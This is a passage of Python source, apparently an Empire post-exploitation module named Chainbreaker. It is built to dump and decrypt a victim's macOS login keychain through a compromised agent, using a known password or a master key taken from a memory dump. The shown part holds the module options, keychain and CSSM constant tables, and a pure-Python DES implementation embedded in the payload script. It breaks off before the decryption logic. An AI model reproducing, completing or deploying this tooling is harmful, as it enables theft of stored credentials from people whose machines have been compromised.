text: from builtins import object
  class Module(object):
  
      def __init__(self, mainMenu, params=[]):
  
          # metadata info about the module, not modified during runtime
          self.info = {
              # name for the module that will appear in module menus
              'Name': 'Chainbreaker',
  
              # list of one or more authors for the module
              'Author': ['@n0fate', '@Killswitch-GUI'],
  
              # more verbose multi-line description of the module
              'Description': ("A keychain dump module that allows for decryption via known password."),
  
              # True if the module needs to run in the background
              'Background' : False,
  
              # File extension to save the file as
              'OutputExtension' : "",
  
              # if the module needs administrative privileges
              'NeedsAdmin' : False,
  
              # Use on disk execution method, rather than a dynamic exec method
              'RunOnDisk' : True,
  
              # True if the method doesn't touch disk/is reasonably opsec safe
              'OpsecSafe' : False,
  
              # the module language
              'Language' : 'python',
  
              # the minimum language version needed
              'MinLanguageVersion' : '2.6',
  
              # list of any references/other comments
              'Comments': [
                  "https://github.com/n0fate/chainbreaker"
              ]
          }
  
          # any options needed by the module, settable during runtime
          self.options = {
              # format:
              #   value_name : {description, required, default_value}
              'Agent' : {
                  # The 'Agent' option is the only one that MUST be in a module
                  'Description'   :   'Agent to execute module on.',
                  'Required'      :   True,
                  'Value'         :   ''
              },
              'KeyChain' : {
                  'Description'   :   'Manual location of keychain to decrypt, otherwise default.',
                  'Required'      :   True,
                  'Value'         :   '/Users/USERNAME/Library/Keychains/login.keychain'
              },
              'MasterKey' : {
                  'Description'   :   'Master key candidate used in memory to decrypt keychain (recovered via mem-dump).',
                  'Required'      :   False,
                  'Value'         :   ''
              },
              'Password' : {
                  'Description'   :   'Known user password to attempt to decrypt the Keychain.',
                  'Required'      :   True,
                  'Value'         :   ''
              }
          }
  
          # save off a copy of the mainMenu object to access external functionality
          #   like listeners/agent handlers/etc.
          self.mainMenu = mainMenu
  
          # During instantiation, any settable option parameters
          #   are passed as an object set to the module and the
          #   options dictionary is automatically set. This is mostly
          #   in case options are passed on the command line
          if params:
              for param in params:
                  # parameter format is [Name, Value]
                  option, value = param
                  if option in self.options:
                      self.options[option]['Value'] = value
  
      def generate(self, obfuscate=False, obfuscationCommand=""):
  
          keyChain = self.options['KeyChain']['Value']
          password = self.options['Password']['Value']
          script = r"""
  # http://web.mit.edu/darwin/src/modules/Security/cdsa/cdsa/cssmtype.h
  KEY_TYPE = {
      0x00+0x0F : 'CSSM_KEYCLASS_PUBLIC_KEY',
      0x01+0x0F : 'CSSM_KEYCLASS_PRIVATE_KEY',
      0x02+0x0F : 'CSSM_KEYCLASS_SESSION_KEY',
      0x03+0x0F : 'CSSM_KEYCLASS_SECRET_PART',
      0xFFFFFFFF : 'CSSM_KEYCLASS_OTHER'
  }
  
  CSSM_ALGORITHMS = {
      0 : 'CSSM_ALGID_NONE',
      1 : 'CSSM_ALGID_CUSTOM',
      2 : 'CSSM_ALGID_DH',
      3 : 'CSSM_ALGID_PH',
      4 : 'CSSM_ALGID_KEA',
      5 : 'CSSM_ALGID_MD2',
      6 : 'CSSM_ALGID_MD4',
      7 : 'CSSM_ALGID_MD5',
      8 : 'CSSM_ALGID_SHA1',
      9 : 'CSSM_ALGID_NHASH',
      10 : 'CSSM_ALGID_HAVAL:',
      11 : 'CSSM_ALGID_RIPEMD',
      12 : 'CSSM_ALGID_IBCHASH',
      13 : 'CSSM_ALGID_RIPEMAC',
      14 : 'CSSM_ALGID_DES',
      15 : 'CSSM_ALGID_DESX',
      16 : 'CSSM_ALGID_RDES',
      17 : 'CSSM_ALGID_3DES_3KEY_EDE',
      18 : 'CSSM_ALGID_3DES_2KEY_EDE',
      19 : 'CSSM_ALGID_3DES_1KEY_EEE',
      20 : 'CSSM_ALGID_3DES_3KEY_EEE',
      21 : 'CSSM_ALGID_3DES_2KEY_EEE',
      22 : 'CSSM_ALGID_IDEA',
      23 : 'CSSM_ALGID_RC2',
      24 : 'CSSM_ALGID_RC5',
      25 : 'CSSM_ALGID_RC4',
      26 : 'CSSM_ALGID_SEAL',
      27 : 'CSSM_ALGID_CAST',
      28 : 'CSSM_ALGID_BLOWFISH',
      29 : 'CSSM_ALGID_SKIPJACK',
      30 : 'CSSM_ALGID_LUCIFER',
      31 : 'CSSM_ALGID_MADRYGA',
      32 : 'CSSM_ALGID_FEAL',
      33 : 'CSSM_ALGID_REDOC',
      34 : 'CSSM_ALGID_REDOC3',
      35 : 'CSSM_ALGID_LOKI',
      36 : 'CSSM_ALGID_KHUFU',
      37 : 'CSSM_ALGID_KHAFRE',
      38 : 'CSSM_ALGID_MMB',
      39 : 'CSSM_ALGID_GOST',
      40 : 'CSSM_ALGID_SAFER',
      41 : 'CSSM_ALGID_CRAB',
      42 : 'CSSM_ALGID_RSA',
      43 : 'CSSM_ALGID_DSA',
      44 : 'CSSM_ALGID_MD5WithRSA',
      45 : 'CSSM_ALGID_MD2WithRSA',
      46 : 'CSSM_ALGID_ElGamal',
      47 : 'CSSM_ALGID_MD2Random',
      48 : 'CSSM_ALGID_MD5Random',
      49 : 'CSSM_ALGID_SHARandom',
      50 : 'CSSM_ALGID_DESRandom',
      51 : 'CSSM_ALGID_SHA1WithRSA',
      52 : 'CSSM_ALGID_CDMF',
      53 : 'CSSM_ALGID_CAST3',
      54 : 'CSSM_ALGID_CAST5',
      55 : 'CSSM_ALGID_GenericSecret',
      56 : 'CSSM_ALGID_ConcatBaseAndKey',
      57 : 'CSSM_ALGID_ConcatKeyAndBase',
      58 : 'CSSM_ALGID_ConcatBaseAndData',
      59 : 'CSSM_ALGID_ConcatDataAndBase',
      60 : 'CSSM_ALGID_XORBaseAndData',
      61 : 'CSSM_ALGID_ExtractFromKey',
      62 : 'CSSM_ALGID_SSL3PreMasterGen',
      63 : 'CSSM_ALGID_SSL3MasterDerive',
      64 : 'CSSM_ALGID_SSL3KeyAndMacDerive',
      65 : 'CSSM_ALGID_SSL3MD5_MAC',
      66 : 'CSSM_ALGID_SSL3SHA1_MAC',
      67 : 'CSSM_ALGID_PKCS5_PBKDF1_MD5',
      68 : 'CSSM_ALGID_PKCS5_PBKDF1_MD2',
      69 : 'CSSM_ALGID_PKCS5_PBKDF1_SHA1',
      70 : 'CSSM_ALGID_WrapLynks',
      71 : 'CSSM_ALGID_WrapSET_OAEP',
      72 : 'CSSM_ALGID_BATON',
      73 : 'CSSM_ALGID_ECDSA',
      74 : 'CSSM_ALGID_MAYFLY',
      75 : 'CSSM_ALGID_JUNIPER',
      76 : 'CSSM_ALGID_FASTHASH',
      77 : 'CSSM_ALGID_3DES',
      78 : 'CSSM_ALGID_SSL3MD5',
      79 : 'CSSM_ALGID_SSL3SHA1',
      80 : 'CSSM_ALGID_FortezzaTimestamp',
      81 : 'CSSM_ALGID_SHA1WithDSA',
      82 : 'CSSM_ALGID_SHA1WithECDSA',
      83 : 'CSSM_ALGID_DSA_BSAFE',
      84 : 'CSSM_ALGID_ECDH',
      85 : 'CSSM_ALGID_ECMQV',
      86 : 'CSSM_ALGID_PKCS12_SHA1_PBE',
      87 : 'CSSM_ALGID_ECNRA',
      88 : 'CSSM_ALGID_SHA1WithECNRA',
      89 : 'CSSM_ALGID_ECES',
      90 : 'CSSM_ALGID_ECAES',
      91 : 'CSSM_ALGID_SHA1HMAC',
      92 : 'CSSM_ALGID_FIPS186Random',
      93 : 'CSSM_ALGID_ECC',
      94 : 'CSSM_ALGID_MQV',
      95 : 'CSSM_ALGID_NRA',
      96 : 'CSSM_ALGID_IntelPlatformRandom',
      97 : 'CSSM_ALGID_UTC',
      98 : 'CSSM_ALGID_HAVAL3',
      99 : 'CSSM_ALGID_HAVAL4',
      100 : 'CSSM_ALGID_HAVAL5',
      101 : 'CSSM_ALGID_TIGER',
      102 : 'CSSM_ALGID_MD5HMAC',
      103 : 'CSSM_ALGID_PKCS5_PBKDF2',
      104 : 'CSSM_ALGID_RUNNING_COUNTER',
      0x7FFFFFFF : 'CSSM_ALGID_LAST'
  }
  
  #CSSM TYPE
  ## http://www.opensource.apple.com/source/libsecurity_cssm/libsecurity_cssm-36064/lib/cssmtype.h
  
  ########## CSSM_DB_RECORDTYPE #############
  
  #/* Industry At Large Application Name Space Range Definition */
  #/* AppleFileDL record types. */
  CSSM_DB_RECORDTYPE_APP_DEFINED_START = 0x80000000
  CSSM_DL_DB_RECORD_GENERIC_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0
  CSSM_DL_DB_RECORD_INTERNET_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 1
  CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 2
  CSSM_DL_DB_RECORD_USER_TRUST = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 3
  CSSM_DL_DB_RECORD_X509_CRL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 4
  CSSM_DL_DB_RECORD_UNLOCK_REFERRAL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 5
  CSSM_DL_DB_RECORD_EXTENDED_ATTRIBUTE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 6
  
  CSSM_DL_DB_RECORD_X509_CERTIFICATE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x1000
  CSSM_DL_DB_RECORD_METADATA = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x8000  ## DBBlob
  CSSM_DB_RECORDTYPE_APP_DEFINED_END = 0xffffffff
  
  #/* Record Types defined in the Schema Management Name Space */
  CSSM_DB_RECORDTYPE_SCHEMA_START = 0x00000000
  CSSM_DL_DB_SCHEMA_INFO = CSSM_DB_RECORDTYPE_SCHEMA_START + 0
  CSSM_DL_DB_SCHEMA_INDEXES = CSSM_DB_RECORDTYPE_SCHEMA_START + 1
  CSSM_DL_DB_SCHEMA_ATTRIBUTES = CSSM_DB_RECORDTYPE_SCHEMA_START + 2
  CSSM_DL_DB_SCHEMA_PARSING_MODULE = CSSM_DB_RECORDTYPE_SCHEMA_START + 3
  CSSM_DB_RECORDTYPE_SCHEMA_END = CSSM_DB_RECORDTYPE_SCHEMA_START + 4
  
  #/* Record Types defined in the Open Group Application Name Space */
  #/* Open Group Application Name Space Range Definition*/
  CSSM_DB_RECORDTYPE_OPEN_GROUP_START = 0x0000000A
  CSSM_DL_DB_RECORD_ANY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 0
  CSSM_DL_DB_RECORD_CERT = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 1
  CSSM_DL_DB_RECORD_CRL = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 2
  CSSM_DL_DB_RECORD_POLICY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 3
  CSSM_DL_DB_RECORD_GENERIC = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 4
  CSSM_DL_DB_RECORD_PUBLIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 5
  CSSM_DL_DB_RECORD_PRIVATE_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 6
  CSSM_DL_DB_RECORD_SYMMETRIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 7
  CSSM_DL_DB_RECORD_ALL_KEYS = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8
  CSSM_DB_RECORDTYPE_OPEN_GROUP_END = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8
  #####################
  
  ######## KEYUSE #########
  CSSM_KEYUSE_ANY = 0x80000000
  CSSM_KEYUSE_ENCRYPT = 0x00000001
  CSSM_KEYUSE_DECRYPT = 0x00000002
  CSSM_KEYUSE_SIGN = 0x00000004
  CSSM_KEYUSE_VERIFY = 0x00000008
  CSSM_KEYUSE_SIGN_RECOVER = 0x00000010
  CSSM_KEYUSE_VERIFY_RECOVER = 0x00000020
  CSSM_KEYUSE_WRAP = 0x00000040
  CSSM_KEYUSE_UNWRAP = 0x00000080
  CSSM_KEYUSE_DERIVE = 0x00000100
  ####################
  
  ############ CERT TYPE ##############
  CERT_TYPE = {
      0x00 : 'CSSM_CERT_UNKNOWN',
      0x01 : 'CSSM_CERT_X_509v1',
      0x02 : 'CSSM_CERT_X_509v2',
      0x03 : 'CSSM_CERT_X_509v3',
      0x04 : 'CSSM_CERT_PGP',
      0x05 : 'CSSM_CERT_SPKI',
      0x06 : 'CSSM_CERT_SDSIv1',
      0x08 : 'CSSM_CERT_Intel',
      0x09 : 'CSSM_CERT_X_509_ATTRIBUTE',
      0x0A : 'CSSM_CERT_X9_ATTRIBUTE',
      0x0C : 'CSSM_CERT_ACL_ENTRY',
      0x7FFE: 'CSSM_CERT_MULTIPLE',
      0x7FFF : 'CSSM_CERT_LAST',
      0x8000 : 'CSSM_CL_CUSTOM_CERT_TYPE'
  }
  ####################################
  
  ########### CERT ENCODING #############
  CERT_ENCODING = {
      0x00 : 'CSSM_CERT_ENCODING_UNKNOWN',
      0x01 : 'CSSM_CERT_ENCODING_CUSTOM',
      0x02 : 'CSSM_CERT_ENCODING_BER',
      0x03 : 'CSSM_CERT_ENCODING_DER',
      0x04 : 'CSSM_CERT_ENCODING_NDR',
      0x05 : 'CSSM_CERT_ENCODING_SEXPR',
      0x06 : 'CSSM_CERT_ENCODING_PGP',
      0x7FFE: 'CSSM_CERT_ENCODING_MULTIPLE',
      0x7FFF : 'CSSM_CERT_ENCODING_LAST'
  }
  
  STD_APPLE_ADDIN_MODULE = {
      '{87191ca0-0fc9-11d4-849a-000502b52122}': 'CSSM itself',
      '{87191ca1-0fc9-11d4-849a-000502b52122}': 'File based DL (aka "Keychain DL")',
      '{87191ca2-0fc9-11d4-849a-000502b52122}': 'Core CSP (local space)',
      '{87191ca3-0fc9-11d4-849a-000502b52122}': 'Secure CSP/DL (aka "Keychain CSPDL")',
      '{87191ca4-0fc9-11d4-849a-000502b52122}': 'X509 Certificate CL',
      '{87191ca5-0fc9-11d4-849a-000502b52122}': 'X509 Certificate TP',
      '{87191ca6-0fc9-11d4-849a-000502b52122}': 'DLAP/OpenDirectory access DL',
      '{87191ca7-0fc9-11d4-849a-000502b52122}': 'TP for ".mac" related policies',
      '{87191ca8-0fc9-11d4-849a-000502b52122}': 'Smartcard CSP/DL',
      '{87191ca9-0fc9-11d4-849a-000502b52122}': 'DL for ".mac" certificate access'
  }
  
  SECURE_STORAGE_GROUP = 'ssgp'
  
  AUTH_TYPE = {
      'ntlm': 'kSecAuthenticationTypeNTLM',
      'msna': 'kSecAuthenticationTypeMSN',
      'dpaa': 'kSecAuthenticationTypeDPA',
      'rpaa': 'kSecAuthenticationTypeRPA',
      'http': 'kSecAuthenticationTypeHTTPBasic',
      'httd': 'kSecAuthenticationTypeHTTPDigest',
      'form': 'kSecAuthenticationTypeHTMLForm',
      'dflt': 'kSecAuthenticationTypeDefault',
      '': 'kSecAuthenticationTypeAny',
      '\x00\x00\x00\x00': 'kSecAuthenticationTypeAny'
  }
  
  PROTOCOL_TYPE = {
      'ftp ': 'kSecProtocolTypeFTP',
      'ftpa': 'kSecProtocolTypeFTPAccount',
      'http': 'kSecProtocolTypeHTTP',
      'irc ': 'kSecProtocolTypeIRC',
      'nntp': 'kSecProtocolTypeNNTP',
      'pop3': 'kSecProtocolTypePOP3',
      'smtp': 'kSecProtocolTypeSMTP',
      'sox ': 'kSecProtocolTypeSOCKS',
      'imap': 'kSecProtocolTypeIMAP',
      'ldap': 'kSecProtocolTypeLDAP',
      'atlk': 'kSecProtocolTypeAppleTalk',
      'afp ': 'kSecProtocolTypeAFP',
      'teln': 'kSecProtocolTypeTelnet',
      'ssh ': 'kSecProtocolTypeSSH',
      'ftps': 'kSecProtocolTypeFTPS',
      'htps': 'kSecProtocolTypeHTTPS',
      'htpx': 'kSecProtocolTypeHTTPProxy',
      'htsx': 'kSecProtocolTypeHTTPSProxy',
      'ftpx': 'kSecProtocolTypeFTPProxy',
      'cifs': 'kSecProtocolTypeCIFS',
      'smb ': 'kSecProtocolTypeSMB',
      'rtsp': 'kSecProtocolTypeRTSP',
      'rtsx': 'kSecProtocolTypeRTSPProxy',
      'daap': 'kSecProtocolTypeDAAP',
      'eppc': 'kSecProtocolTypeEPPC',
      'ipp ': 'kSecProtocolTypeIPP',
      'ntps': 'kSecProtocolTypeNNTPS',
      'ldps': 'kSecProtocolTypeLDAPS',
      'tels': 'kSecProtocolTypeTelnetS',
      'imps': 'kSecProtocolTypeIMAPS',
      'ircs': 'kSecProtocolTypeIRCS',
      'pops': 'kSecProtocolTypePOP3S',
      'cvsp': 'kSecProtocolTypeCVSpserver',
      'svn ': 'kSecProtocolTypeCVSpserver',
      'AdIM': 'kSecProtocolTypeAdiumMessenger',
      '\x00\x00\x00\x00': 'kSecProtocolTypeAny'
  }
  
  # This is somewhat gross: we define a bunch of module-level constants based on
  # the SecKeychainItem.h defines (FourCharCodes) by passing them through
  # struct.unpack and converting them to ctypes.c_long() since we'll never use
  # them for non-native APIs
  
  CARBON_DEFINES = {
      'cdat': 'kSecCreationDateItemAttr',
      'mdat': 'kSecModDateItemAttr',
      'desc': 'kSecDescriptionItemAttr',
      'icmt': 'kSecCommentItemAttr',
      'crtr': 'kSecCreatorItemAttr',
      'type': 'kSecTypeItemAttr',
      'scrp': 'kSecScriptCodeItemAttr',
      'labl': 'kSecLabelItemAttr',
      'invi': 'kSecInvisibleItemAttr',
      'nega': 'kSecNegativeItemAttr',
      'cusi': 'kSecCustomIconItemAttr',
      'acct': 'kSecAccountItemAttr',
      'svce': 'kSecServiceItemAttr',
      'gena': 'kSecGenericItemAttr',
      'sdmn': 'kSecSecurityDomainItemAttr',
      'srvr': 'kSecServerItemAttr',
      'atyp': 'kSecAuthenticationTypeItemAttr',
      'port': 'kSecPortItemAttr',
      'path': 'kSecPathItemAttr',
      'vlme': 'kSecVolumeItemAttr',
      'addr': 'kSecAddressItemAttr',
      'ssig': 'kSecSignatureItemAttr',
      'ptcl': 'kSecProtocolItemAttr',
      'ctyp': 'kSecCertificateType',
      'cenc': 'kSecCertificateEncoding',
      'crtp': 'kSecCrlType',
      'crnc': 'kSecCrlEncoding',
      'alis': 'kSecAlias',
      'inet': 'kSecInternetPasswordItemClass',
      'genp': 'kSecGenericPasswordItemClass',
      'ashp': 'kSecAppleSharePasswordItemClass',
      CSSM_DL_DB_RECORD_X509_CERTIFICATE: 'kSecCertificateItemClass'
  }
  
  
  
  
  # ############################################################################
  # Documentation                 #
  #############################################################################
  
  # Author:   Todd Whiteman
  # Date:     7th May, 2003
  # Verion:   1.1
  # Homepage: http://home.pacific.net.au/~twhitema/des.html
  #
  # Modifications to 3des CBC code by Matt Johnston 2004 <matt at ucc asn au>
  #
  # This algorithm is a pure python implementation of the DES algorithm.
  # It is in pure python to avoid portability issues, since most DES 
  # implementations are programmed in C (for performance reasons).
  #
  # Triple DES class is also implemented, utilising the DES base. Triple DES
  # is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key.
  #
  # See the README.txt that should come with this python module for the
  # implementation methods used.
  
  '''A pure python implementation of the DES and TRIPLE DES encryption algorithms
  
  pyDes.des(key, [mode], [IV])
  pyDes.triple_des(key, [mode], [IV])
  
  key  -> String containing the encryption key. 8 bytes for DES, 16 or 24 bytes
      for Triple DES
  mode -> Optional argument for encryption type, can be either
          pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining)
  IV   -> Optional argument, must be supplied if using CBC mode. Must be 8 bytes
  
  
  Example:
  from pyDes import *
  
  data = "Please encrypt my string"
  k = des("DESCRYPT", " ", CBC, "\0\0\0\0\0\0\0\0")
  d = k.encrypt(data)
  print "Encypted string: " + d
  print "Decypted string: " + k.decrypt(d)
  
  See the module source (pyDes.py) for more examples of use.
  You can slo run the pyDes.py file without and arguments to see a simple test.
  
  Note: This code was not written for high-end systems needing a fast
        implementation, but rather a handy portable solution with small usage.
  
  '''
  
  
  # Modes of crypting / cyphering
  ECB = 0
  CBC = 1
  
  
  #############################################################################
  #                   DES                     #
  #############################################################################
  class des:
      '''DES encryption/decrytpion class
  
      Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
  
      pyDes.des(key,[mode], [IV])
  
      key  -> The encryption key string, must be exactly 8 bytes
      mode -> Optional argument for encryption type, can be either pyDes.ECB
          (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
      IV   -> Optional string argument, must be supplied if using CBC mode.
          Must be 8 bytes in length.
      '''
  
  
      # Permutation and translation tables for DES
      __pc1 = [56, 48, 40, 32, 24, 16, 8,
               0, 57, 49, 41, 33, 25, 17,
               9, 1, 58, 50, 42, 34, 26,
               18, 10, 2, 59, 51, 43, 35,
               62, 54, 46, 38, 30, 22, 14,
               6, 61, 53, 45, 37, 29, 21,
               13, 5, 60, 52, 44, 36, 28,
               20, 12, 4, 27, 19, 11, 3
      ]
  
      # number left rotations of pc1
      __left_rotations = [
          1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
      ]
  
      # permuted choice key (table 2)
      __pc2 = [
          13, 16, 10, 23, 0, 4,
          2, 27, 14, 5, 20, 9,
          22, 18, 11, 3, 25, 7,
          15, 6, 26, 19, 12, 1,
          40, 51, 30, 36, 46, 54,
          29, 39, 50, 44, 32, 47,
          43, 48, 38, 55, 33, 52,
          45, 41, 49, 35, 28, 31
      ]
  
      # initial permutation IP
      __ip = [57, 49, 41, 33, 25, 17, 9, 1,
              59, 51, 43, 35, 27, 19, 11, 3,
              61, 53, 45, 37, 29, 21, 13, 5,
              63, 55, 47, 39, 31, 23, 15, 7,
              56, 48, 40, 32, 24, 16, 8, 0,
              58, 50, 42, 34, 26, 18, 10, 2,
              60, 52, 44, 36, 28, 20, 12, 4,
              62, 54, 46, 38, 30, 22, 14, 6
      ]
  
      # Expansion table for turning 32 bit blocks into 48 bits
      __expansion_table = [
          31, 0, 1, 2, 3, 4,
          3, 4, 5, 6, 7, 8,
          7, 8, 9, 10, 11, 12,
          11, 12, 13, 14, 15, 16,
          15, 16, 17, 18, 19, 20,
          19, 20, 21, 22, 23, 24,
          23, 24, 25, 26, 27, 28,
          27, 28, 29, 30, 31, 0
      ]
  
      # The (in)famous S-boxes
      __sbox = [  # S1
                  [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
                   0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
                   4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
                   15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],  # S2
                  [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
                   3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
                   0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
                   13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],  # S3
                  [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
                   13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
                   13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
                   1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],  # S4
                  [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
                   13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
                   10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
                   3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],  # S5
                  [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
                   14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
                   4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
                   11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],  # S6
                  [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
                   10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
                   9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
                   4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],  # S7
                  [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
                   13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
                   1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
                   6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],  # S8
                  [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
                   1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
                   7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
                   2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
      ]
  
  
      # 32-bit permutation function P used on the output of the S-boxes
      __p = [
          15, 6, 19, 20, 28, 11,
          27, 16, 0, 14, 22, 25,
          4, 17, 30, 9, 1, 7,
          23, 13, 31, 26, 2, 8,
          18, 12, 29, 5, 21, 10,
          3, 24
      ]
  
      # final permutation IP^-1
      __fp = [
          39, 7, 47, 15, 55, 23, 63, 31,
          38, 6, 46, 14, 54, 22, 62, 30,
          37, 5, 45, 13, 53, 21, 61, 29,
          36, 4, 44, 12, 52, 20, 60, 28,
          35, 3, 43, 11, 51, 19, 59, 27,
          34, 2, 42, 10, 50, 18, 58, 26,
          33, 1, 41, 9, 49, 17, 57, 25,
          32, 0, 40, 8, 48, 16, 56, 24
      ]
  
      # Type of crypting being done
      ENCRYPT = 0x00
      DECRYPT = 0x01
  
      # Initialisation
      def __init__(self, key, mode=ECB, IV=None):
          if len(key) != 8:
              raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.")
          self.block_size = 8
          self.key_size = 8
          self.__padding = ''
  
          # Set the passed in variables
          self.setMode(mode)
          if IV:
              self.setIV(IV)
  
          self.L = []
          self.R = []
          self.Kn = [[0] * 48] * 16  # 16 48-bit keys (K1 - K16)
          self.final = []
  
          self.setKey(key)
  
  
      def getKey(self):
          '''getKey() -> string'''
          return self.__key
  
      def setKey(self, key):
          '''Will set the crypting key for this object. Must be 8 bytes'''
          self.__key = key
          self.__create_sub_keys()
  
      def getMode(self):
          '''getMode() -> pyDes.ECB or pyDes.CBC'''
          return self.__mode
  
      def setMode(self, mode):
          '''Sets the type of crypting mode, pyDes.ECB or pyDes.CBC'''
          self.__mode = mode
  
      def getIV(self):
          '''getIV() -> string'''
          return self.__iv
  
      def setIV(self, IV):
          '''Will set the Initial Value, used in conjunction with CBC mode'''
          if not IV or len(IV) != self.block_size:
              raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
          self.__iv = IV
  
      def getPadding(self):
          '''getPadding() -> string of length 1. Padding character'''
          return self.__padding
  
      def __String_to_BitList(self, data):
          '''Turn the string data, into a list of bits (1, 0)'s'''
          l = len(data) * 8
          result = [0] * l
          pos = 0
          for c in data:
              i = 7
              ch = ord(c)
              while i >= 0:
                  if ch & (1 << i) != 0:
                      result[pos] = 1
                  else:
                      result[pos] = 0
                  pos += 1
                  i -= 1
  
          return result
  
      def __BitList_to_String(self, data):
          '''Turn the list of bits -> data, into a string'''
          result = ''
          pos = 0
          c = 0
          while pos < len(data):
              c += data[pos] << (7 - (pos % 8))
              if (pos % 8) == 7:
                  result += chr(c)
                  c = 0
              pos += 1
  
          return result
  
      def __permutate(self, table, block):
          '''Permutate this block with the specified table'''
          return map(lambda x: block[x], table)
  
      # Transform the secret key, so that it is ready for data processing
      # Create the 16 subkeys, K[1] - K[16]
      def __create_sub_keys(self):
          '''Create the 16 subkeys K[1] to K[16] from the given key'''
          key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))
          i = 0
          # Split into Left and Right sections
          self.L = key[:28]
          self.R = key[28:]
          while i < 16:
              j = 0
              # Perform circular left shifts
              while j < des.__left_rotations[i]:
                  self.L.append(self.L[0])
                  del self.L[0]
  
                  self.R.append(self.R[0])
                  del self.R[0]
  
                  j += 1
  
              # Create one of the 16 subkeys through pc2 permutation
              self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)
  
              i += 1
  
      # Main part of the encryption algorithm, the number cruncher :)
      def __des_crypt(self, block, crypt_type):
          '''Crypt the block of data through DES bit-manipulation'''
          block = self.__permutate(des.__ip, block)
          self.L = block[:32]
          self.R = block[32:]
  
          # Encryption starts from Kn[1] through to Kn[16]
          if crypt_type == des.ENCRYPT:
              iteration = 0
              iteration_adjustment = 1
          # Decryption starts from Kn[16] down to Kn[1]
          else:
              iteration = 15
              iteration_adjustment = -1
  
          i = 0
          while i < 16:
              # Make a copy of R[i-1], this will later become L[i]
              tempR = self.R[:]
  
              # Permutate R[i - 1] to start creating R[i]
              self.R = self.__permutate(des.__expansion_table, self.R)
  
              # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
              self.R = map(lambda x, y: x ^ y, self.R, self.Kn[iteration])
              B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42],
                   self.R[42:]]
              # Optimization: Replaced below commented code with above
              #j = 0
              #B = []
              #while j < len(self.R):
